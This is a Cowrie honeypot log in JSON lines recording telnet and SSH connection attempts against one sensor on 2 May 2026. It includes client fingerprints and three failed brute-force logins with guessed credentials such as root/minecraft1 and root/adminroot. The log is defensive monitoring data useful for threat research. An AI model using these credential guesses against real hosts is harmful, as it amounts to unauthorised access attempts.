{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":51492,"dst_ip":"159.203.135.109","dst_port":23,"session":"67b2f1475913","protocol":"telnet","message":"New connection: 174.138.46.234:51492 (159.203.135.109:23) [session: 67b2f1475913]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:48:08.967941Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":51590,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2aa2d8f326f","protocol":"telnet","message":"New connection: 174.138.46.234:51590 (159.203.135.109:23) [session: b2aa2d8f326f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:48:09.333229Z"}
{"eventid":"cowrie.session.closed","duration":6.377708196640015,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:48:12.060409Z","src_ip":"174.138.46.234","session":"c4e6b36d6801","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.315237283706665,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:48:12.684477Z","src_ip":"174.138.46.234","session":"0448464a8a56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.255040168762207,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:48:14.032768Z","src_ip":"174.138.46.234","session":"6510ed6c50cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.908783674240112,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:48:14.876617Z","src_ip":"174.138.46.234","session":"67b2f1475913","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.909730434417725,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:48:15.242851Z","src_ip":"174.138.46.234","session":"b2aa2d8f326f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":41434,"dst_ip":"10.17.0.5","dst_port":22,"session":"b59e04a094df","protocol":"ssh","message":"New connection: 135.235.138.43:41434 (10.17.0.5:22) [session: b59e04a094df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:48:51.612538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:48:51.619164Z","src_ip":"135.235.138.43","session":"b59e04a094df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:48:51.801613Z","src_ip":"135.235.138.43","session":"b59e04a094df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"minecraft1","message":"login attempt [root/minecraft1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:48:52.564077Z","src_ip":"135.235.138.43","session":"b59e04a094df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:48:53.750226Z","src_ip":"135.235.138.43","session":"b59e04a094df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.784812688827515,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:49:03.100550Z","src_ip":"174.138.46.234","session":"68b3e31947c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39300,"dst_ip":"159.203.135.109","dst_port":23,"session":"e12e4e63fce2","protocol":"telnet","message":"New connection: 174.138.46.234:39300 (159.203.135.109:23) [session: e12e4e63fce2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:49:03.957798Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39342,"dst_ip":"159.203.135.109","dst_port":23,"session":"511d5e7d99f2","protocol":"telnet","message":"New connection: 174.138.46.234:39342 (159.203.135.109:23) [session: 511d5e7d99f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:49:04.109403Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39748,"dst_ip":"159.203.135.109","dst_port":23,"session":"62f77d3e3f14","protocol":"telnet","message":"New connection: 174.138.46.234:39748 (159.203.135.109:23) [session: 62f77d3e3f14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:49:05.418775Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39486,"dst_ip":"159.203.135.109","dst_port":23,"session":"3175890dab89","protocol":"telnet","message":"New connection: 174.138.46.234:39486 (159.203.135.109:23) [session: 3175890dab89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:49:05.528136Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39944,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b3c7cd859e3","protocol":"telnet","message":"New connection: 174.138.46.234:39944 (159.203.135.109:23) [session: 1b3c7cd859e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:49:05.958907Z"}
{"eventid":"cowrie.session.closed","duration":6.977126836776733,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:49:11.086388Z","src_ip":"174.138.46.234","session":"511d5e7d99f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.881454944610596,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:49:11.300106Z","src_ip":"174.138.46.234","session":"62f77d3e3f14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":51946,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b68ef3598f0","protocol":"ssh","message":"New connection: 135.235.138.43:51946 (10.17.0.5:22) [session: 3b68ef3598f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:49:51.089123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:49:51.093763Z","src_ip":"135.235.138.43","session":"3b68ef3598f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:49:51.276750Z","src_ip":"135.235.138.43","session":"3b68ef3598f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:49:52.041416Z","src_ip":"135.235.138.43","session":"3b68ef3598f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:49:53.227948Z","src_ip":"135.235.138.43","session":"3b68ef3598f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.33555865287781,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:49:54.293210Z","src_ip":"174.138.46.234","session":"e12e4e63fce2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.83056902885437,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:49:54.358583Z","src_ip":"174.138.46.234","session":"3175890dab89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.41350746154785,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:49:56.372276Z","src_ip":"174.138.46.234","session":"1b3c7cd859e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":58444,"dst_ip":"159.203.135.109","dst_port":23,"session":"cce5eb896346","protocol":"telnet","message":"New connection: 174.138.46.234:58444 (159.203.135.109:23) [session: cce5eb896346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:50:09.943576Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":58478,"dst_ip":"159.203.135.109","dst_port":23,"session":"abcf209e78fb","protocol":"telnet","message":"New connection: 174.138.46.234:58478 (159.203.135.109:23) [session: abcf209e78fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:50:10.012775Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":58474,"dst_ip":"159.203.135.109","dst_port":23,"session":"c411a9cc6e22","protocol":"telnet","message":"New connection: 174.138.46.234:58474 (159.203.135.109:23) [session: c411a9cc6e22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:50:11.002717Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":58872,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1fd776fd2b8","protocol":"telnet","message":"New connection: 174.138.46.234:58872 (159.203.135.109:23) [session: f1fd776fd2b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:50:11.274605Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":58926,"dst_ip":"159.203.135.109","dst_port":23,"session":"510f48ac6b4e","protocol":"telnet","message":"New connection: 174.138.46.234:58926 (159.203.135.109:23) [session: 510f48ac6b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:50:11.508693Z"}
{"eventid":"cowrie.session.closed","duration":6.0162599086761475,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:50:15.959728Z","src_ip":"174.138.46.234","session":"cce5eb896346","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.0858495235443115,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:50:16.360326Z","src_ip":"174.138.46.234","session":"f1fd776fd2b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.61808490753174,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:50:53.620639Z","src_ip":"174.138.46.234","session":"c411a9cc6e22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.451236724853516,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:50:54.959782Z","src_ip":"174.138.46.234","session":"510f48ac6b4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.95167136192322,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:51:00.964330Z","src_ip":"174.138.46.234","session":"abcf209e78fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":47256,"dst_ip":"159.203.135.109","dst_port":23,"session":"8eb0838b6418","protocol":"telnet","message":"New connection: 174.138.46.234:47256 (159.203.135.109:23) [session: 8eb0838b6418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:51:08.859557Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":47444,"dst_ip":"159.203.135.109","dst_port":23,"session":"72aee82207e3","protocol":"telnet","message":"New connection: 174.138.46.234:47444 (159.203.135.109:23) [session: 72aee82207e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:51:09.495106Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":47552,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ad4316c17d8","protocol":"telnet","message":"New connection: 174.138.46.234:47552 (159.203.135.109:23) [session: 8ad4316c17d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:51:09.901205Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":47782,"dst_ip":"159.203.135.109","dst_port":23,"session":"176a6369f06c","protocol":"telnet","message":"New connection: 174.138.46.234:47782 (159.203.135.109:23) [session: 176a6369f06c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:51:10.803293Z"}
{"eventid":"cowrie.session.closed","duration":5.821224689483643,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:51:15.316077Z","src_ip":"174.138.46.234","session":"72aee82207e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.935818195343018,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:51:15.836893Z","src_ip":"174.138.46.234","session":"8ad4316c17d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.03015661239624,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:51:15.889577Z","src_ip":"174.138.46.234","session":"8eb0838b6418","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.014343976974487,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:51:16.817316Z","src_ip":"174.138.46.234","session":"176a6369f06c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":51074,"dst_ip":"159.203.135.109","dst_port":23,"session":"0386e26a6b28","protocol":"telnet","message":"New connection: 174.138.46.234:51074 (159.203.135.109:23) [session: 0386e26a6b28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:51:22.371378Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":51922,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bffcc8b0a8a","protocol":"telnet","message":"New connection: 174.138.46.234:51922 (159.203.135.109:23) [session: 7bffcc8b0a8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:51:24.381390Z"}
{"eventid":"cowrie.session.closed","duration":8.062369585037231,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:51:32.443656Z","src_ip":"174.138.46.234","session":"7bffcc8b0a8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":35918,"dst_ip":"159.203.135.109","dst_port":23,"session":"7178bb9ef242","protocol":"telnet","message":"New connection: 174.138.46.234:35918 (159.203.135.109:23) [session: 7178bb9ef242]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:52:04.552873Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":35974,"dst_ip":"159.203.135.109","dst_port":23,"session":"584584a26f7f","protocol":"telnet","message":"New connection: 174.138.46.234:35974 (159.203.135.109:23) [session: 584584a26f7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:52:04.715167Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":36124,"dst_ip":"159.203.135.109","dst_port":23,"session":"b53145268176","protocol":"telnet","message":"New connection: 174.138.46.234:36124 (159.203.135.109:23) [session: b53145268176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:52:05.109334Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":36776,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa14e53bcbd3","protocol":"telnet","message":"New connection: 174.138.46.234:36776 (159.203.135.109:23) [session: fa14e53bcbd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:52:07.212130Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":37528,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bf566b6373e","protocol":"telnet","message":"New connection: 174.138.46.234:37528 (159.203.135.109:23) [session: 1bf566b6373e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:52:09.919852Z"}
{"eventid":"cowrie.session.closed","duration":5.6050989627838135,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:52:10.157783Z","src_ip":"174.138.46.234","session":"7178bb9ef242","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.987382650375366,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:52:10.702195Z","src_ip":"174.138.46.234","session":"584584a26f7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.884402751922607,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:52:10.993602Z","src_ip":"174.138.46.234","session":"b53145268176","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.75336527824402,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:52:16.124600Z","src_ip":"174.138.46.234","session":"0386e26a6b28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.94255256652832,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:52:16.862270Z","src_ip":"174.138.46.234","session":"1bf566b6373e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40288,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e252dc4d1e7","protocol":"telnet","message":"New connection: 174.138.46.234:40288 (159.203.135.109:23) [session: 4e252dc4d1e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:52:18.813495Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.36.200.182","src_port":63087,"dst_ip":"159.203.135.109","dst_port":22,"session":"6af9719ef4e9","protocol":"ssh","message":"New connection: 177.36.200.182:63087 (159.203.135.109:22) [session: 6af9719ef4e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:52:23.612022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:52:23.617150Z","src_ip":"177.36.200.182","session":"6af9719ef4e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:52:24.020114Z","src_ip":"177.36.200.182","session":"6af9719ef4e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminroot","message":"login attempt [root/adminroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:52:25.214380Z","src_ip":"177.36.200.182","session":"6af9719ef4e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.970760345458984,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:52:25.784137Z","src_ip":"174.138.46.234","session":"4e252dc4d1e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:52:26.614070Z","src_ip":"177.36.200.182","session":"6af9719ef4e9","protocol":"ssh"}
